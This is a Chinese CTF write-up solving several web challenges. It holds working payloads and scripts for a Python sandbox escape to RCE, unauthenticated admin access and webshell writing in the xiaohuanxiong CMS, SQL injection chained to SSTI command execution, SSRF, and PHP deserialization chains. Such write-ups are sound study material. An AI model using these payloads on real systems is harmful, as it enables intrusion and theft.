PyBlockly 黑名单过滤了所有符号,只能在print里用字母和数字,
1 2 3 4 if check_for_blacklisted_symbols(block['fields' ]['TEXT' ]): code = '' else : code = "'" + unidecode.unidecode(block['fields' ]['TEXT' ]) + "'"
但是由于unidecode函数,能够将 Unicode 字符转换为最相似的 ASCII 字符 。
这里是先检测黑名单,再转化,那么我们可以找到与我们需要的字符最相似的字符,就可以绕过过滤,然后经过unidecode函数转化,就变成我们想要的ascii字符了。
然后由于这里是拼接字符串,我们可以逃逸出去执行任意python代码。
举个栗子:我传入a')\nprint("Infernity")#
,经过拼接之后就变成了:
1 2 print('a') print("Infernity")#')
就会回显a
和Infernity
。我们再把特殊字符找到它最相似的字符:比如(
换成⁽
,#
换成﹟
。
1 a'⁾\nprint⁽"Infernity"⁾﹟
方便后续转换,这里贴一个脚本:
1 2 3 text = "" print (text.replace('_' ,'_' ).replace('(' ,'⁽' ).replace(')' ,'⁾' ).replace('\'' ,''' ).replace('#' ,'﹟' ).replace('[' ,'[' ).replace(']' ,']' ).replace('=' ,'⁼' ).replace('"' ,'"' ).replace('.' ,'․' ).replace(':' ,':' ).replace('/' ,'/' ).replace('-' ,'-' ).replace('>' ,'﹥' ))
现在绕过第一步了,第二步到了要rce的地方
1 2 3 4 5 6 7 8 9 10 def my_audit_hook (event_name, arg ): blacklist = ["popen" , "input" , "eval" , "exec" , "compile" , "memoryview" ] if len (event_name) > 4 : raise RuntimeError("Too Long!" ) for bad in blacklist: if bad in event_name: raise RuntimeError("No!" ) __import__ ('sys' ).addaudithook(my_audit_hook)
我们传入的东西都会进这个hook,AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了。但是这里没有过滤os和system,所以我们可以直接__import__("os").system("whoami")
但是len(event_name)有限制,会检测os.system,我们的长度肯定是超过了的。
但是我们可以通过覆盖len函数,来绕过长度限制:
1 __builtins__.len = lambda x:1
然后直接rce了(直接import可能会有问题,但是我本地可以,远程可以用继承链打。)
1 a'⁾\n__builtins__․len ⁼ lambda x:1 \n__import __⁽'os'⁾․system⁽'whoami'⁾﹟
1 a'⁾#\n__builtins__․len ⁼ lambda x:1\n\n[ x․__init__․__globals__ for x in ''․__class__․__base__․__subclasses__⁽⁾ if x․__name__⁼⁼"_wrap_close"][0]["system"]⁽"ls /-al"⁾#
需要提权
参考gtfobins: https://r0yanx.com/gtfobins/dd/
xiaohuanxiong 废话1:
/search?keyword=1 这里sqlmap可以嗦数据库所有内容,但是admin的密码是加盐的md5,无法爆破。
废话2:拿到小浣熊CMS源码,全局搜admin
在admin的登录逻辑,是设置了session为{“xwx_admin”:username},可爱捏,但是很煞笔捏,哪有网站明文session啊?
所以我们注册一个账号,手动添加cookie:xwx_admin:Infernity
然后进去/admin/admins就可以到后台页面了。
正文: 上面全是错的,根本不需要登录,也不需要cookie,直接就可以他妈的进后台管理页面。
然后进入/admin/payment/index页面,这里有file_put_contens函数,可以写马进去,这个payment.php会在各个地方都有包含,写个马进去随便找个地方就可以rce了。
snake 把每次行动延时改为0.4秒,手打50分就通关了。(打了四遍QAQ)
setInterval(update, 400);
胜利页面:/snake_win?username=admin
可以xss没啥用
经过测试发现可以sql注入,数据库是sqllite的:
1 /snake_win?username=a'union select 1,2,sqlite_version()--
后面查表查数据没找到任何有用的东西,最后发现是结合了ssti。=-=
1 a'union select 1,2,(select "{{7*7}}") --
1 a'union select 1,2,(select "{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /f*').read()}}")--
有点脑洞了。
Proxy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 func main () { r := gin.Default() v1 := r.Group("/v1" ) { v1.POST("/api/flag" , func (c *gin.Context) { cmd := exec.Command("/readflag" ) flag, err := cmd.CombinedOutput() if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } c.JSON(http.StatusOK, gin.H{"flag" : flag}) }) } v2 := r.Group("/v2" ) { v2.POST("/api/proxy" , func (c *gin.Context) { var proxyRequest ProxyRequest if err := c.ShouldBindJSON(&proxyRequest); err != nil { c.JSON(http.StatusBadRequest, gin.H{"status" : "error" , "message" : "Invalid request" }) return } client := &http.Client{ CheckRedirect: func (req *http.Request, via []*http.Request) error { if !req.URL.IsAbs() { return http.ErrUseLastResponse } if !proxyRequest.FollowRedirects { return http.ErrUseLastResponse } return nil }, } req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte (proxyRequest.Body))) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } for key, value := range proxyRequest.Headers { req.Header.Set(key, value) } resp, err := client.Do(req) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } c.Status(resp.StatusCode) for key, value := range resp.Header { c.Header(key, value[0 ]) } c.Writer.Write(body) c.Abort() }) } r.Run("127.0.0.1:8769" ) }
获取flag的路由在/v1/api/readflag
但是nginx限制了/v1
路由的访问
但是/v2/api/proxy
这个路由可以构造一个url请求,绕过中间件去访问/v1/api/readflag
:
1 req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
所以只需要v2 发一个post请求过去就行:
1 {"URL":"http://127.0.0.1:8769/v1/api/flag","Method":"POST","Body":""}
flag{a156a702-6a71-4ebe-83bf-8cb7492c913f}
Password Game 他会要求你的密码满足以下几个条件:
至少包含数字和大小写字母
密码中所有数字之和必须为xx的倍数
请密码中包含下列算式的解(如有除法,则为整除): xxxx / xxx
密码都满足后,会给一个源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 function filter ($password ) { $filter_arr = array ("admin" ,"2024qwb" ); $filter = '/' .implode ("|" ,$filter_arr ).'/i' ; return preg_replace ($filter ,"nonono" ,$password ); } class guest { public $username ; public $value ; public function __tostring ( ) { if ($this ->username=="guest" ){ $value (); } return $this ->username; } public function __call ($key ,$value ) { if ($this ->username==md5 ($GLOBALS ["flag" ])){ echo $GLOBALS ["flag" ]; } } } class root { public $username ; public $value ; public function __get ($key ) { if (strpos ($this ->username, "admin" ) == 0 && $this ->value == "2024qwb" ){ $this ->value = $GLOBALS ["flag" ]; echo md5 ("hello:" .$this ->value); } } } class user { public $username ; public $password ; public $value ; public function __invoke ( ) { $this ->username=md5 ($GLOBALS ["flag" ]); return $this ->password->guess (); } public function __destruct ( ) { if (strpos ($this ->username, "admin" ) == 0 ){ echo "hello" .$this ->username; } } } $user =unserialize (filter ($_POST ["password" ]));if (strpos ($user ->username, "admin" ) == 0 && $user ->password == "2024qwb" ){ echo "hello!" ; }
反序列化链子在password里触发,所以还是得满足密码条件,加上序列化字符串里有数字,这里写个脚本:
25%左右成功率吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import requestsimport reurl = "http://eci-2ze420okq7lsn5wjipao.cloudeci1.ichunqiu.com/" payload = '''O:4:"user":3:{s:8:"username";s:9:"Infernity";s:8:"password";N;s:5:"value";N;}''' def check1 (number ): x9 = int (number)//9 yushu = int (number)%9 return "9" *x9+str (yushu) def check2 (number,xxbeishu,payload ): total = 0 xxbeishu = int (xxbeishu)*5 for i in range (len (number)-1 ): total += int (number[i]) temp = xxbeishu-total-check3(payload) return number+check1(temp) def check3 (payload ): numbers = re.findall(r'\d+' , payload) total_sum = sum (int (num) for num in numbers) return total_sum sess = requests.Session() sess.post(url+"/index.php?action=start" , data={"name" :"asd" }) res1 = sess.post(url + "/game.php" , data={"password" : "Aa132" }) xxbeishu = re.search(r"密码中所有数字之和必须为(\d+)的倍数" , res1.text) nextpass = check1(xxbeishu[1 ]) res2 = sess.post(url + "/game.php" , data={"password" : "Aa" +nextpass}) shuanshi = re.search(r"(\d+)\s*([\+\-\*/])\s*(\d+)" , res2.text) num1 = int (shuanshi[1 ]) fuhao = shuanshi[2 ] num2 = int (shuanshi[3 ]) match fuhao: case "+" : result = num1+num2 case "-" : result = num1-num2 case "*" : result = num1*num2 case "/" : result = num1//num2 nextpass = check2(str (result),xxbeishu[1 ],payload) res3 = sess.post(url + "/game.php" , data={"password" : payload + "Aa" +nextpass}) print (res3.text)
在class root里value被赋值了flag,可以用地址引用,让user里的username取value的地址,就会自动输出flag了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class root { public $username ; public $value ; } class user { public $username ="2024qwb" ; public $password ; public $value ; } $a = new root ();$a ->username = new user ();$a ->value = &$a ->username->username; $b = serialize ($a );$b = str_replace ("s:7:\"2024q" ,"S:7:\"2024\\71" ,$b );echo $b ;
怎么进入get呢?
最后这里$user->password,root类里没有password属性,就自动进入get了。
1 2 3 if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){ echo "hello!"; }
把得到的链子填入上面的python脚本里就能拿到flag。
www.zip下载源码
看了一眼class.php 考点应该是session反序列化
1 2 3 4 5 6 7 8 9 10 private $sensitiveFunctions = ['system' , 'eval' , 'exec' , 'passthru' , 'shell_exec' , 'popen' , 'proc_open' ];$sessionData = file_get_contents ($sessionFile );foreach ($this ->sensitiveFunctions as $function ) { if (strpos ($sessionData , $function ) !== false ) { $sessionData = str_replace ($function , '' , $sessionData ); } } file_put_contents ($sessionFile , $sessionData );
利用过滤进行逃逸控制反序列化内容。字符串逃逸了。
举个栗子:
1 2 username=passthrupassthrupassthrupassthrupassthrupassthrupassthru password=O:15:"notouchitsclass":1:{s:4:"data";s:10:"phpinfo();";}
如果我这样写,那么到sess里的数据会长这样:
1 user|s:56:"passthrupassthrupassthrupassthrupassthrupassthrupassthru";session_key|s:25:"uz6IWN70l641vlzLjeixuI8CT";password|s:56:"O:15:"notouchitsclass":1:{s:4:"data";s:10:"phpinfo();";}";
经过处理之后,就变成了
1 user|s:56:"";session_key|s:25:"uz6IWN70l641vlzLjeixuI8CT";password|s:56:"O:15:"notouchitsclass":1:{s:4:"data";s:10:"phpinfo();";}";
如果我能让蓝色部分全部被算在user里,后面剩下的部分我就可控,可以反序列化,只需要在payload前面加;xx|
;
是分隔前面的数据,xx是键名随便,|
是必要格式。
现在我的数据就变成了:
session_key是随机的,我只需要多发几次包让key的长度与其他脏数据加起来等于56即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl = "http://eci-2zeikei7c3gbjdb3tab6.cloudeci1.ichunqiu.com" data = { "username" :"passthrupassthrupassthrupassthrupassthrupassthrupassthru" , "password" :";xx|O:15:\"notouchitsclass\":1:{s:4:\"data\";s:20:\"syssystemtem('/readflag');\";}" } cookies = {"PHPSESSID" :"aaa" } while True : res = requests.post(url+"/index.php" ,data=data,cookies=cookies) if "flag" in res.text: print (res.text) break